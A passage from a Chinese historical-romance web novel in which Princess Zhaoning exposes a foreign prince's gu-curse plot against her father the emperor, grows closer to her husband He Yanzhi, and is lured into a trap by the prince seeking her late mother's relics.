朝渊静立一旁,烛光映出他发间掺杂的银丝。短短几日,这位曾经睥睨天下的帝王,竟显出了从未有见的疲态。
三人一起入了保和殿,珠翠华服交相辉映,除了皇亲贵胄外,摩什赫然端坐其间,作为唯一与皇帝同游的外邦王子,这逾矩之举引得席间暗流涌动。
朝宁匆匆掠过摩什一眼,便坐回到贺砚知身边。
刚入座的朝珩倾身低语:“摩什主动禀明想一睹京城繁华,父皇碍于和亲之事,也想给绥丹一个交代,便允了他。”
朝宁颔首,脸色却十分难看,虽说昨日贺砚知已经烧了乐宴坊,可又不代表摩什没有其他计策,尤其现在坐在她的对面,侵略性的目光一直未从她身上移开,那般胸有成竹,让人心底发寒。
绣袍下,贺砚知的手轻轻包住她紧攥的指尖,朝宁转头,正撞进他的眸子中,无需言语,那目光顷刻驱散了她心底翻涌的不安。
一番宴席后,皇帝在百官叩拜中登上鎏金轿辇,三十余名执金吾如铁壁环护,太子朝珩骑马护于轿左,朝宁端坐后轿,贺砚知策马随行在侧,摩什王子则被安排在队尾,异域锦袍在仪仗中格外突兀。
皇帝含笑挥手,长街上百姓沿街跪拜,万家灯火如地上星河。
可轿中的朝宁却心神不宁,指尖无意识掐进掌心,按既定路线,仪仗即将经过乐宴坊。
今日之前,她已安排人埋伏在乐宴坊四周,避免坊外会有引皇帝入内的机会。
可不管如何护着,意外还是发生了——
游行队伍倏然停滞。朝宁与贺砚知对视一眼,同时跃下轿辇疾步向前。
“父皇...”
朝渊已掀帘而出,痴迷地盯着前面的夜空,而位置正是乐宴坊。
"停轿!"他推开李钦的搀扶,踉跄走向坊门,如被无形丝线牵引的傀儡,"朕要进去看看..."
朝珩立即拦在前方,低声劝道:"此处人群混杂,恐有险情,请父皇上轿。"
朝渊像是没听到他的话,径直推开太子,步履虚浮地踏进乐宴坊。
朝宁迅速跑到朝渊身侧,接替李钦位置稳稳扶住皇帝手臂,轻声试探:“父皇?”
朝渊仿佛听不见任何人的说话声,只是痴痴地往前走。
朝宁猝然回头,正撞见队伍末位的摩什——那人唇角勾着毫不掩饰的得色,异域瞳孔在灯火下泛出冷光。
皇帝突然驾临,乐曲声戛然而止,整个乐宴坊的人慌乱地跪伏一地。
“跳舞?舞呢?继续跳!”朝渊声音沉如
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寒铁,帝王威压顷刻笼罩全场。
皇帝下令,乐曲声重新响起,朝渊端坐主位,等着舞蹈再起,执金吾快速地将整个台子四周包围,跪着的宾客没有得到命令,只得屏住呼吸,不敢抬头。
朝宁看清台上之人确为南灵,原定的红绸被烧毁,二楼不会有花瓣落下。
南灵在催促下,重新起舞,一个再普通不过的舞姿,却让朝渊看得如痴如醉。
朝宁环视整个乐宴坊,八角形舞台居于中央,弧形楼梯蜿蜒通向上层。二楼被焚处焦痕犹在,隐约可见四个暗格嵌在勾栏之中。视线顺梁木向上延伸,惊觉整个建筑竟呈收拢之势,更像是...一个笼子。
不寒而栗的想法涌入大脑,她低眸看着自己父皇,好像失了神智。
朝宁心中忏悔竟然早些没有发现,有些传闻或许不是空穴来风...
她注视着那四个隔板,所谓花瓣或许不在本身,他要的不过是效果,是一个他看到的效果。
而如今花瓣一夜之间全部烧毁,摩什依旧气定神闲,又有何种东西可以替代花瓣出现在今夜的乐宴坊里。
朝宁闭着眼睛回想着今夜她所看到的,脑子里闪过乐宴坊本身的结构...
她一瞬间好像明白了什么,恰好的是贺砚知就站在她身侧,其他下人们只能在外候着,除了他们二人外,周围也只有朝珩、李钦。
她抓住贺砚知的手,指尖在他掌心急速划下两字。两人目光相触的刹那,贺砚知颔首随后便出了乐宴坊。
台子中央,南灵的舞步未停,借着乐曲,她的舞步已刻意地放缓,给予朝宁更多的时间。
贺砚知径自掠过摩什,视线未在他身上停留半分。
格吉尔低声道:“王子是否要跟着?”
“跟住他,别再让他坏了大事。”摩什阴狠的眼睛扫过坊内一切,“快来了,将东西准备好。”
归宁节外,不见昨日月光,整条长街因为皇帝的突然驻足让喧嚣沉寂下来。
摩什的人紧随着出去,却刹那间找不见踪迹,四处都是执金吾,根本不敢大张旗鼓地搜索,只得偷偷回去。
伏在暗处的梁蔗守着坊外一切,按照刚刚下达指令,所有围在乐宴坊四周的哨子全部拔除掉。
整个乐宴坊从外看就是一个宝塔状,三层高度不低,对贺砚知自己极为容易,即是朝宁安排的任务,他要自己上。
当他轻落在最高层的瓦楞上时,唇角泛起一丝笑意——果然一切皆如她所料。
贺砚知悠闲地靠在房梁上,望着阴沉沉的夜空,同样在房顶,没有朝宁在侧,万千灯火再他看来不过如此普通。
归宁,归宁...并非所有人都能寻到自己的归处...
一道闪电突然划破漆黑的夜,巨大的声响顷刻压过了坊内丝竹之声。
朝宁侧身看过,摩什果然面露喜色。
随着一道一道惊雷,大雨倾盆而下,乐曲声在雨滴击打中结束了这一舞。
摩什的视线死死锁向穹顶,脸上的期待逐渐扭曲成愤懑。他猛然转头瞪向朝宁,恰见她转身回望,唇角勾起一抹冰刃般的讥讽。
朝宁俯下身,轻声道:“父皇,舞已经看完了,该回宫了。”
朝渊尚未回应,摩什突然进入手中抱着一个盒子,被执金吾拦住,不让他靠近。
朝珩厉声道:“王子有何事?”
“这是我父汗送给皇帝陛下的礼物,想在这圣节献上。”
朝宁打量着这盒子,忽然展颜一笑:“王子如此有心,父皇不如打开观赏一下。”
朝渊神情有些疲惫,“拿来朕看看吧。”
顺着木盒被缓缓打开,皇帝脸色骤变——
"放肆!"
33. 纷扰
朝珩一脚便将那盒子踢翻,原本应该栩栩如生的金龙,被墨汁整个覆盖住,镶嵌在龙身上的珠宝碎裂四溅,狼藉一地。
“摩什王子,大夏已尽地主之谊,这般侮辱还要请绥丹给个交代。”朝珩朝一旁的执金吾递了个眼色,几人立刻上前将摩什制住。
直到被人架起双臂,摩什才猛地回过神来,眼中血丝密布,“你们岂敢动我!”
格吉尔更是慌了神,急忙辩解:“王子绝非有意侮辱陛下,实是有人暗中动了手脚,这才……”
朝宁出声打断他,“使臣还是慎言,驿馆皆是你们绥丹人,究竟是否有人诬陷,大夏管不着,可今日冒犯圣上,绝不能姑息。”
朝渊神色十分不好,但原本空洞的双眼慢慢回神,其中缘故,朝宁了然于心。
“皇兄,父皇受了惊吓,臣妹先护送父皇回宫。”
外面的雨来得快,去得也快。不过片刻,雨势渐收,仪仗队启程回宫,留下朝珩处置后续。
朝宁轻轻推开窗板,四处寻着贺砚知的踪迹,最后在经过拐角处时,看见了那道身影。
整个人全部被雨淋湿,站在街角处如此可怜,马车经过时与他匆匆对视,朝宁心中多有不忍,确因为她....
贺砚知的伤还未好全,万一再染风寒,可如何是好,“莲心。”
朝宁吩咐道:“去请个大夫到府里候着,待贺砚知回去后,立刻给他诊治。”
莲心领命离开,朝宁心中才松了口气,眼下最要紧的,便是父皇...
谢倾竹长时间守在边关,总是通晓各个国家的奇闻轶事,都会与她讲述。最让朝宁印象深刻的便是——巫蛊之术。
其中最简单地,便是下子蛊,放蛊人用母蛊加以控制。可有一种更加邪门术法,种下的蛊虫会一直沉睡在体内,不会立刻发作,沉睡时间无法定夺,需要在特定情况下,譬如一些特殊位置,和一个心理暗示,便可激活蛊虫。
朝宁听到时,只当是无稽之谈。可今日观乐宴坊内部构造,宛如一个巨大的笼子,摩什执着与散下花瓣,可能与既定的方式有关,花瓣落下可制造漫天飞舞的假象,而可以替代的便只有雨。
这一晚,乌云密布,不见月亮,或有下雨可能,一切排除之后,她也只能去赌,所以让贺砚知派人去乐宴坊顶,看看是否有可让雨水滴下的空洞,若有便立即堵死。
那个被莫名其妙端上来的龙摆,可能便是一个心理暗示,但她却没有想到摩什竟然真的如此自信,未打开查验,反倒是给了朝宁机会,让摩什自食恶果。
皇兄本就对绥丹抱有怀疑,此番变故,必将促使摩什离京。只要将他赶出京城,朝宁方能安心几分。
仪仗队未再继续绕城,而是直接回了皇宫。
朝宁扶着朝渊出轿时,父皇已呈病态,“李钦,立刻去请太医。”
朝渊躺在床上意识尚存,却也出现幻想,拉着朝宁的手,唤起母妃的名字,最后昏昏睡去。
朝宁心中不是滋味,摩什的手竟可以伸到皇帝面前,足以见野心巨大,难道与她和亲,也是存着接触皇室的想法。
张太医火急火燎地来到时,还未开口便被朝宁拉至一旁,低声威胁道:“不管诊出什么,都把嘴给我闭牢了,瞎传半个字,小心你的命。”
“是,殿下...”张太医吓得冷汗直流,他虽是太医院首,可也不敢惹这位杀神。
朝宁静静候在床侧,看着张太医为父皇诊脉。她的目光看似平静,却时刻刺探着张太医最细微的神情变化。
“回殿下,陛下此乃操劳过度,情志不舒,以致肝气郁结,气血逆乱。臣这就去开一剂疏肝理气的方子,服用三日,悉心调养,便可见效。”
“三日?”朝宁俯身逼近,“张太医如此信誓旦旦,看来是成竹在胸了?”
张太医被她看得发怵,硬着头皮道:“殿下明鉴,陛下龙体根基深厚,只是近日忧思过甚,肝气郁结确实会加重虚乏之症,只需缓缓疏导……”
“缓缓疏导?”朝宁打断他,声音陡然转冷,“父皇龙体抱恙非止一日,你们太医院历来都是这般‘缓缓疏导’,却为何不见根本好转?莫非太医院上下,皆是庸才?”
“殿下息怒!”张太医扑通一声跪倒在地,冷汗瞬间浸湿了后背,“臣等万万不敢!陛下脉象确显郁结之兆,殿下若不信,可传召其他太医一同会诊,便知臣所言非虚啊!”
朝宁走到床榻边,擦拭父皇额角的薄汗:“张太医,你侍奉御前多年,得父皇信任,本宫并不是质疑你的医术。”
她话锋一转,“有些事本宫不愿明说,今日我且问你父皇身体是否已经阴滞之物?”
张太医闻言一愣,跪在地上的身体微微发抖。
“太医院的太医博览医书,自然比本宫强些。张太医不如想想,那书中症状是否与父皇相似。”
张太医额汗如雨,挣扎半晌,终是颤声道:“殿下,一切均未有实证,微臣不敢拿龙体试验。”
“现在阴滞之物还未发作,太医可用针法一试。”
张太医几番纠结下,还是拿出金针,顺着经络施针,朝宁紧盯着父皇手臂,只见皮肤下,似有一道极细微凸起,在针法的驱赶下,从皇帝针尖针口逼出,那是一滴黑红色粘稠的血珠。
张太医长舒一口气,几乎虚脱,将银针收起,又探皇帝脉搏,“殿下,陛下脉象已见平和。”
朝宁看着父皇气息渐匀,紧皱的眉头逐渐舒展开来,对着张太医缓声道:“父皇此症为肝气郁结所致,修养几日便好,可记住了?”
张太医立刻领会,“微臣明白,臣这就去准备药材。”
李钦待太医走后,才悄声入内:“殿下,陛下他……”
朝宁冷眼相对,“公公服侍父皇多年,如今可还如当初那般忠心?”
“殿下!”李钦跪在地上,“给奴才一百个胆,一万个胆也不敢背叛陛下呀!”
“父皇近日皇帝抱恙,往来吃食、花草、熏香皆要仔细验过,绝不可再出疏漏。”
李钦看清地下那黑红的血珠,连连叩首:“奴才谨记!”
朝宁吩咐完后,床上的朝渊缓缓睁开眼睛
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,轻唤了一声:“颐宁...”
“父皇,您醒了,身体可有不适?”朝宁看见父皇醒了,紧绷的心才缓缓放下。
“无碍,扶朕起来。”
李钦立马上前,搀扶着朝渊坐起,“退下吧,朕与颐宁说说话。”
朝渊抬头抚上朝宁的额头,“刚才吓坏了吧。”
朝宁鼻头一酸,轻轻摇头:“没有,父皇安康便好。”
“朕知道自己的身体,却未曾想今日如此失态…”
朝宁迟疑片刻,低声道:“父皇,您被...下蛊了...”
朝渊脸色一变,“下蛊?...谁敢如此大胆,将手都伸到朕身上了!”
朝宁安慰道:“父皇莫怕,张太医已将蛊虫逼出,所幸时间不长,父皇龙体未损伤严重。”
“颐宁,你是否有事瞒着朕?”朝渊太了解自己的女儿,明显遮遮掩掩。
朝宁犹豫一下,还是道:“父皇,摩什一定不能留在京中!今日出现种种,与他脱不了干系。”
她紧握朝渊的手,声音微颤:“父皇相信儿臣,摩什这人野心勃勃,一个外邦人竟能挑起这么多事端,断不可让他继续留在京城。”
她说话的声音有些急促颤抖,一切事情都有预料,亦无法阻止,朝宁很怕最后的结局便是灭国。
大夏那么多山川,那么多百姓,一夜之间被铁蹄踏碎,她再也承受不起。
朝渊拍了拍她的手,语重心长道:“父皇知道,颐宁长大了,懂得顾全社稷了。绥丹的事情有父皇和珩儿在,你是朕的宝贝女儿,父皇答应过你母妃,要让你自在无忧,不涉朝堂纷争。朕一直知道你的顾虑,父皇从未动过让你和亲的念头。”
泪水瞬间从眼眶夺出,瞬间模糊了双眼,朝宁在这一刻,仿佛会在小时候,可以在父亲面前大哭时候。
朝渊拭去她眼角泪珠,“好了,再哭快变成小花猫了,很晚了,朕让李钦送你回去。”
离开寝殿,朝宁拒绝李钦相送。
归宁节的一场大雨,丝毫没有浇灭百姓过节的喜悦,朝宁想独自走走,散散心,顺便在这长街转一转。
当沉重的宫门打开,在抬眸的瞬间蓦然定住,宫墙的阴影与官道的光明交界处,一人独立于马车前,静立如画。
他只着了一身素色常服,衣袂在微凉的晚风中轻轻拂动,似乎将她沉重的阴霾吹散几分。
朝宁快步走到他跟前与他目光相接:“你怎么来了?”
贺砚知牵起她的手,搀扶着他上了马车,“如今皇城不宁,你一人独行,我不放心。”
朝宁挑眉含笑:“那你怎知我会独自一人归?”
“长安街如此热闹,你怎舍得错过?”贺砚知将一个暖炉递到她手心。
朝宁愣了一下,便听他道:“手都冻得红了...”
“那你呢?”朝宁抬手勾起他一缕未干的发丝,“浑身湿透,不是请大夫去府上了?不好生休养,还出来乱跑……派个人来接便是。”
贺砚知又将一个大氅披到她肩,“想亲眼见到你...”
34. 说话算数
朝宁的指尖轻轻划过贺砚知的下颌,“贺大人说话越来越让人舒心了。”
贺砚知顺势握住她的双手,倾身向前,“那殿下说过的话还算数吗?”
朝宁眼波流转,故意装起糊涂:“本公主说过的话,可太多了。”
“那殿下说过可以唤你名字,可算数?”
朝宁将手从掌心中抽出,别过脸去,声音渐渐低了下去,几不可闻:“不是……早就应了你了……还问什么……”
贺砚知扶正她扭过去的小脸,“那…殿下,想让我如何称呼?”
被他触碰到过的皮肤微微发热,“随便你…父皇和皇兄都叫我颐宁…皇祖母在我小时最叫我小宁儿…”
“我不想与常人一样唤你。”在朝宁没有回答前,他又道:“那唤你…阿宁?可好?”
“阿…宁?”朝宁只觉得脸更加滚烫。
马车不知何时已经停在了府前,在贺砚知未等到回应时,朝宁已经跳下马车。
贺砚知望着她略显仓促的背影,无奈地摇头低笑,将她留下的暖炉和大氅收起,快步跟了上去。
如今朝宁在别院住下,与卧房是两个方向。
在分叉口,朝宁停下回头看他,“你…好好休息,我也…”
话音未落,朝宁的手又被他牵住。
“你又要干嘛?”
贺砚知将她拉到自己面前,眼底含着浅淡笑意:“想要…阿宁,兑现自己的诺言。”
“什么诺言?”朝宁一怔。
恰在此时,贺砚知瞧见走过来的莲心,便扬声道:“莲心,将殿下的物品都搬回卧房。”
莲心眨了眨眼,震惊地看向朝宁。
而朝宁自己更加不知所措,“贺砚知!你现在都敢替我做主了?”
“颐宁公主一诺千金,这是帮助公主践行约定。”
然后,她家公主就被拉走了。
莲心暗叹这夫妻间的趣味,随即兴致勃勃地转身去收拾东西了。
贺砚知一路抓着朝宁回了卧房。
房门一关,朝宁立刻甩开他的手,转而揪住他的耳朵,佯怒道:“我近来是不是太纵着你了?如今连我的事都敢擅自安排?”
贺砚知被她揪着,配合地做出吃痛的表情,“疼…”
朝宁刚要发作的脾气,便被这屋内淡淡的药味吹散了,“算了,本公主不和你一般计较。”
“今日奔波劳碌,早些休息吧。”
贺砚知扶着朝宁坐下,倒了一杯茶递她,目光不经意间扫过她的裙摆,被晕染上了深色。
“陛下龙体,可还安好?”
朝宁与他深深对视一眼,“太医看过了,说是并无大碍,只需静养。”
贺砚知的手抚过她的发丝,“这两天累坏了吧。”
“我没什么,”朝宁摇摇头,看向他,“倒是你,伤好了?”
贺砚知闻言,下意识地抬手按了按胸口,微微蹙眉:“还是有点痛,今天又淋了雨…”
朝宁点点头,站起身:“好吧,既然伤没好,我就不扰着你了。”
门外恰好传来莲心的声音:“殿下,奴婢将您的衣物用品送过来了。”
朝宁扶额,无奈地叹了口气,回头对上贺砚知那得逞的笑容。
“进来吧。”贺砚知开口道。
莲心小心翼翼地推开门,二人一站一坐,两人神色各异,气氛微妙。
“莲心,你这小丫头真听话…”朝宁语气幽幽,带着几分嗔怪。
“殿下…”莲心不明其中含义。
便听朝宁道:“没事,放那吧,回去歇着。”
莲心只觉不对,连忙放下物品,匆匆退了出去。
贺砚知舒展了一下手臂,“确实是困了…”
朝宁叹了口气,直到真正与他同榻而眠,她才觉得有些不可思议,甚至有些别扭…
这并非他们第一次同床,却是第一次在两人都清醒的情况下,如此贴近。
朝宁睡在里侧,几乎要与贺砚知快隔着一个人的距离。
朝宁闭着眼睛,尽量忽视贺砚知的存在。
“睡不着吗?”身侧传来带着温度的低语,气息拂过耳畔,让朝宁微微一颤。
“快要睡着了…你非要吵醒我。”朝宁将被子往上拉了拉。
贺砚知抓住她的被子,“平时睡觉都有这习惯?”
朝宁翻过身对着他:“你好烦,你要是不想睡可以不睡!”
黑暗中,视觉受限,其他感官便格外敏锐。她能清晰地感受到他的呼吸,温热的气息交织在一起。
忽然,一个温软的触感轻轻落在她的脸颊上,如羽毛拂过。
“你…”朝宁瞬间僵住。
“怕你做噩梦。”贺砚知的声音平静自然,说完便已平躺回去,仿佛刚才一切都未发生。
朝宁猛地将被子盖在脸上,呼吸与心跳全都乱了套。
最后,也不知是何时沉沉睡去的……
-
待到皇帝的仪仗队伍安全离开后,朝珩已将所有绥丹的人控制住了。
执金吾死死抵着摩什,任其怎么挣扎也无用。
朝珩看着被扔在地上、已失去光彩的所谓“龙摆”,将它一脚踢到了摩什的眼前。
他缓步上前,蹲下身,与摩什平视,“绥丹来朝,大夏以礼相待,但摩什王子好本事,竟能掀起如此风波。”
摩什梗着脖子道:“朝珩!我乃绥丹王子!你敢动我分毫,我绥丹铁骑不日便可陈兵边境!大夏如今内里情形如何,你们自己心知肚明,当真敢与我绥丹赌这一局吗?”
朝珩脸上依旧挂着那抹惯有的、略带嘲讽的笑意:“王子真会说笑。”
他话锋一转,猛地伸手钳住摩什的下巴,力道之大,令摩什瞬间变了脸色,朝珩脸上笑容骤然消失,“但若……将你‘安然’送出大夏国境,再让你‘意外’身故,王子又该如何呢?”
说罢,他松开手,恢复了一派从容:“将王子好好送回驿馆,不得有任何差池。”
京城驿馆,此刻虽灯火通明,室内却一片死寂,压抑得让人喘不过气。
格吉尔正小心翼翼地给摩什上着药,在执金吾的‘护送’下,摩什敞开的后背上,添了好几块淤青。
摩什的脸隐在烛火照不到的阴影里,看不清表情。
“王子,我们…”巴青烈忍不住率先开口,并未注意到格吉尔使来的眼色。
“你。”摩什手指着他,声音是压抑的愤怒:“计划万无一失,这就是你安排的稳妥吗!”
巴青烈颤抖着身子,“属下已按照吩咐布置…谁知…属性知罪。”
“乐宴坊昨日莫名其妙,龙摆被毁,仪式未成,你如何赎罪?”摩什积压的怒火终于爆发,狰狞毕露。
他猛地抽出随身匕首,寒光一闪,匕首擦着巴青烈的脸颊飞过,掉落在地。
一道完整的血痕,深红色的血不断渗出,巴青烈却跪在地上一动不敢动。
那匕首若再偏几分,便可划过脖颈,一刀毙命。
摩什因动作牵动了背上的伤,一阵酸痛袭来,让他更加烦躁,“那该死的朝珩,竟敢如此折辱于我!这个仇我一定报!”
“王子,这次计划失败,大夏必让我们立刻离京,需提早筹谋了。”格吉尔轻声谏言道。
摩什将衣服重新披上,幽深的眸子看不出他究竟所想。
格吉尔察言观色,继续道:“王子,属下认为,此处毕竟是大夏京城,与其周旋,我们难免吃
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亏。我们原想将颐宁公主控制在手中,如今形势有变,不如化繁为简,力求一击必中。”
摩什未置可否,格吉尔已明其意,“属下,这就去安排,绝对万无一失。”
格吉尔刚要起身退下,门外传来低沉的叩门声。“进来。”摩什沉声道。
一个绥丹的小兵躬身入内,双手呈上一封信函,“属下在门柱中发现这封插着的,交于王子。”
摩什缓缓抬头,盯着那封信,格吉尔立马上前接过,展开信纸,送到摩什面前。
摩什迅速扫了信中内容,突然冷笑一声,将信丢在地上。
格吉尔捡起来,仔细看过后道,面露疑色::“王子…这…是否可信呀?”
“这京城上下,竟也有与我同样心思的人,若这信中为真,那可解我们如今困局。”
格吉尔又道:“这封信会不会杜仕远送来的,他一直不安分,会不会诱导我们进了圈套,借机除掉我们。”
“杜仕远?”摩什冷哼一声,将扔进水盆的匕首捞出,用布巾擦拭着,“他今日何在?”
“探子报,杜仕远儿子杜胜,受了板子后,说是伤着了,昨日便没在队伍里。”
“这个老狐狸,明哲保身的手段玩得纯熟,但终究是强弩之末,稍加手段,不难再次拿捏。”摩什冷笑一声,“至于这个,我倒是希望他真与我们目标一致,多一枚棋子有何不好。”
次日清晨,朝宁便匆匆进宫请安。抵达寝殿时,见父皇朝渊正靠在床头与皇兄朝珩说话,气色似乎好了许多。
“颐宁来了。”朝渊朝渊见到女儿,脸上露出慈祥的笑容,向她招手。
“父皇,您身体如何了?”
朝珩在一旁笑道:“父皇今日精神见好,还想着要去批阅奏章呢。”
“父皇,您龙体尚未痊愈,还需静养,切莫过度操劳。朝廷大事有皇兄代为处理,您尽可放心。”朝宁在床榻边坐下,轻声劝道。
“珩儿做事稳妥,以后父皇走了,国家交给你皇兄朕也放心。”
“父皇!”朝珩眉头紧锁,“您正值春秋鼎盛,儿臣需要向您请教学习之处尚多,万不可再说此等言语。”
昨日种种,朝宁历历在目,心中不禁泛起寒意,能给父皇下毒的人,绝非寻常人能做到,无论是贴身内侍、宫中嫔妃,皆有可能。
李钦从潜邸时,便一直跟在父皇身边,寻常宫人更无胆量做出这等诛九族的大罪。
嫔妃...宫中高位份只有淑妃、云妃,还有几个位份低的贵人、答应。
云妃体弱,常年静养,深居简出;淑妃育有公主,如今又怀有龙裔……似乎每个人都有动机,也有机会。若然大张旗鼓地清查,只怕会打草惊蛇,让真正的幕后黑手隐匿更深。
“颐宁?”朝珩拍了拍她的肩膀。
她回过神来对上父皇和皇兄疑惑的眼睛,忙掩饰道:“没事...昨日睡得不太好,父皇放心,您的龙体定然无恙。”
“朕如今,倒是更担心你。”朝渊语重心长地说。
朝宁疑惑地侧头看向朝珩,不解道:“儿臣一切安好...”
“你还想瞒着朕?”朝渊打断她,“珩儿都已向朕说了,那日码头之事,你为何不早早告知父皇?”
朝宁轻轻捶了一下朝珩的胳膊,嗔怪道:“别听皇兄瞎说...我们只是闲玩...”
朝渊摆了摆手,神色肃然:“珩儿昨日已修书送到绥丹,这些外国使臣明日必须离京。”
朝宁点了点头,“有父皇和皇兄在,儿臣什么也不怕。”
“颐宁,朕突然想起一事还未问你。”朝渊话锋一转。
“父皇所说何事?”
“你与那贺砚知...近来如何了?”
35. 圈套
“我们…挺好的。”朝宁闻言,指尖无意识地绞紧了袖口。
朝宁其实也不知道现在他们俩之间是什么关系,从那个莫名其妙的吻开始,逃不开的亲密,逃不开的心乱,超越了原有关系,但是可谁也未说出口。
朝渊见女儿这般情态,心中已了然七八分,语重心长地道:“父皇知晓你的想法,朕的女儿,连天牢都敢闯,定是你最想护着的。”
他抬手轻抚过朝宁的脸颊,目光慈爱中带着追忆,“喜欢就要抓紧,莫要留下遗憾。”
朝宁能看清父皇眼中含着的泪水,她侧过头去叫朝珩,调节气氛道:“皇兄你看父皇…抓着我不放。”
“父皇,儿臣您知担忧江山社稷,但莫要累着自己,颐宁这边儿臣会约束她的。”朝珩挑眉去看朝宁。
朝宁立刻接话,语气轻快:“父皇若是闷了,儿臣记得皇兄那里,有不少有趣的鸟儿,不如挑一只给父皇解闷。”
“你呀,已经开始惦记皇兄的鸟。”朝珩摇头失笑。
朝渊靠在龙榻上,看着眼前一双儿女拌嘴逗趣,眼中满是欣慰,故意摆摆手,佯装不耐道:“好了好了,你们两个在朕耳边叽叽喳喳,吵得朕头昏,且都退下吧,让朕清静清静。”
朝宁与朝珩对视一眼,“那父皇我们先走了,您多休息。”
退出寝殿,合上沉重的殿门,兄妹二人并肩走在长长的宫道上。
朝珩脸上的笑意渐渐敛去,沉声问道:“颐宁,父皇昨日到底如何?今日问起,父皇总是不肯说。见你这样子,绝非太医所说的寻常不适那般简单。”
想起昨日惊险,朝宁叹了口气,压低声音:“父皇并非患病,是中了蛊毒。”
“蛊毒?!”朝珩骤然停下脚步,面露震惊,“此等阴毒手段,在我大夏境内极为罕见,何人竟敢……”
朝宁神色凝重:“若不是总听谢倾竹念叨外域的奇事,加之昨日父皇如此反常,我也不会朝这个方向想,万幸发现及时,昨夜已设法将蛊虫逼出。”
朝珩紧皱着眉头难以舒展:“到底谁敢用这等手段,妄图控制大夏的皇帝!”
“皇兄可记得昨夜的摩什?”
朝珩沉思片刻道:“若是他,便能解释通那些奇怪的行径,还有那般狂妄的话,原来早存了这心思。。”
朝宁见四下无人,声音压得更低:“我怀疑宫中必有内应。无论是前次融沁宫莫名起火,还是此次父皇中蛊,桩桩件件,恐怕都与这摩什脱不了干系。”
“我会私下偷偷查清这宫里,到底何人在做乱。”
“皇兄记得莫要打草惊蛇,摩什恐怕还要早些离京,避免夜长梦多。”
朝珩点点头,“摩什那家伙自以为聪明一世,不过就是一个庸才,此事交给皇兄吧。”
朝宁挽起朝珩的胳膊,“这事便有劳皇兄啦,我定要备着礼物亲自送到皇兄府上。”
朝珩颇为无奈:“你不要胡闹,就是对我最好的礼物了。”
“我还要留在宫里,颐宁要自己小心。”他站在原地,目送着朝宁远去。
朝宁出宫门时,贺府的马车停在宫门口,与早上一样。
朝宁无奈地拍拍自己的头,“真是最近累着了,这马车分别是来时那辆,一直在宫门后等着。”
朝宁一步一步向马车走来,脑子里却是昨夜那一人一马的场景。
等到朝宁坐上马车时,终于反应过来自己越来越在意贺砚知的存在了。
正当她心绪纷扰之际,马车猛地一晃,伴随着“咣当”一声巨响,骤然停了下来。
“出什么事了?”
车夫连忙回禀:“殿下,前方有一妇人抱着孩子摔倒在路中央,挡住了去路。”
朝宁跳下马车,只见街道中央瘫坐着一名衣衫褴褛的女子,怀里还抱着一个哇哇大哭的孩子,地上散一堆烂菜叶子。
这场景看着太熟悉,当初方沐也是如此,被她带回了府。
朝宁始终不忍,上前道:“这是怎么了?”
那女子抬起头,泪眼婆娑,泣不成声:“孩子…我的孩子…”
朝宁蹲下身,轻轻掀开裹着孩子的破布角,待看清那孩子的脸,还是被惊到了。
那孩子面色泛青,裹在怀里瑟瑟发抖。
这时,旁边一个摊主嚷嚷起来:“这疯婆子偷我的饼!活该孩子……”
话未说完,朝宁已经闪到了那店家的眼前,“这堆饼我全买了。”
一袋银子落在了他的怀里,店家喜滋滋却又被朝宁拉住领子:“她偷东西你可以报官,但不能拿那孩子病痛咒骂人,记住了嘛。”
店家已经被吓到了,僵硬地点着头。
朝宁拿起那一兜子饼,递到了那女子面前:“这孩子出什么事了?”
“救救我孩子…”女子只是反复哀求。
朝宁抬眼望去,前方正有一家医馆,便道:“抱着你孩子,跟着我。”
她转身对车夫低声吩咐了几句,随后架着马车离开了。
医馆内,老大夫仔细诊察后,缓声道:“这是寒气侵体日久,以致气血凝滞,经络不通,开几副药便好了。”
朝宁付了银子,又将药材和些许银两塞给那女子:“药拿好,这些银子也留着,往后莫再行窃了。”
她转身要走,衣袖却被那女子猛地抓住。见朝宁回头,女子又惶恐地松开手,怯生生道:“贵……贵人,您……您能送我们回去吗?”
“为何?”
“我…我害怕...被看见…他们会来抢。”
此刻不过正午,太阳很足,长街上人来人往,朝宁犹豫一会儿:“带我去吧。”
她们走在前面,朝宁走在后面,那女子两步一回头,生怕她没有跟上来。
她们穿过三条狭窄僻静的巷弄,最终停在一间破败的屋舍前。屋内隐约传来杂乱的声响,似有不少人。
朝宁一脚踹开那扇摇摇欲坠的木门,阳光透过破窗照进屋内,映出十几个乞丐模样、眼神不善的汉子。
门外的女子趁机从朝宁身边溜过,惊慌地躲到屋角。
只听“哗啦”一声,一张大网从天而降,将朝宁牢牢罩住,几名壮汉迅速上前,将她的手绑住。
朝宁并未惊慌挣扎,反而冷笑一声,扬声道:“费尽心机引我至此,露个面吧。”
摩什缓缓从屋后阴影处踱出,脸上带着得意的狞笑:“公主殿下,我们又见面了。”
“看来我皇兄对王子的‘款待’还远远不够?明日便要离京,王子竟还有闲情逸致布此局来擒我。”朝宁语带嘲讽。
摩什走上前,摸着自己上次被她弄出的血痕,“公主今日进宫,身上没带着刀剑,只要你乖乖配合,本王子保证不为难你。”
他说着,伸手欲碰朝宁的脸颊,却被她嫌恶地避开。
“既如此不如开诚布公地谈谈,如此大费周章,究竟意欲何为?”
“你当真以为本王子真想娶你?”摩什嗤笑,“实话告诉你,你对本王子毫无价值。不过,现在给你个机会,告诉我,那东西藏在何处?”他猛地捏住朝宁的下巴,迫使她与自己对视。
朝宁脸上写满轻蔑:“怪不得绥丹在京城折腾这么久,一件事也未成,王子还真是废物。”
“朝宁!”摩什手上加重力道,怒道,“激怒我对你没任何好处!乖乖交出东西,否则……今日我便生米煮成熟饭,届时本王子便有充足理由留在京城,慢慢跟你耗!”
朝宁冷哼一声,“你若真敢如此,不但拿不到你想要的东西,而你会死在这儿,永远留在京城了。”
“看来你是敬酒不吃吃罚酒了!”摩什恼羞成怒,寒光一闪,匕首已贴上朝宁的脸颊,“不想受皮肉之苦,就痛快说出来!”
朝宁神情愈发显得无奈,甚至带着几分荒谬:“你口口声声让我交东西,却连是什么都不说明白,让我告诉你什么?猜谜么?”
“别装傻,你是她唯一女儿,东西只能在你手!”
这一句话,却让朝宁脸色骤变,“什么意思?”
摩什快失了耐心,声音越发狠厉,
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刀刃擦过朝宁脸颊慢慢滑动,“苏融,你的母妃,留下的东西才是我此行目的,交出来对你我都好。”
朝宁回想到融沁宫着火,她原以为是摩什的报复,却是为了搜寻母妃的遗物!
她心下一凛,面上却故作怅然,幽幽叹了口气:“你即已知是我母妃遗留之物,想必大火那日已将融沁宫上下翻找一遍了,没找到的东西,为何会在我身上。”
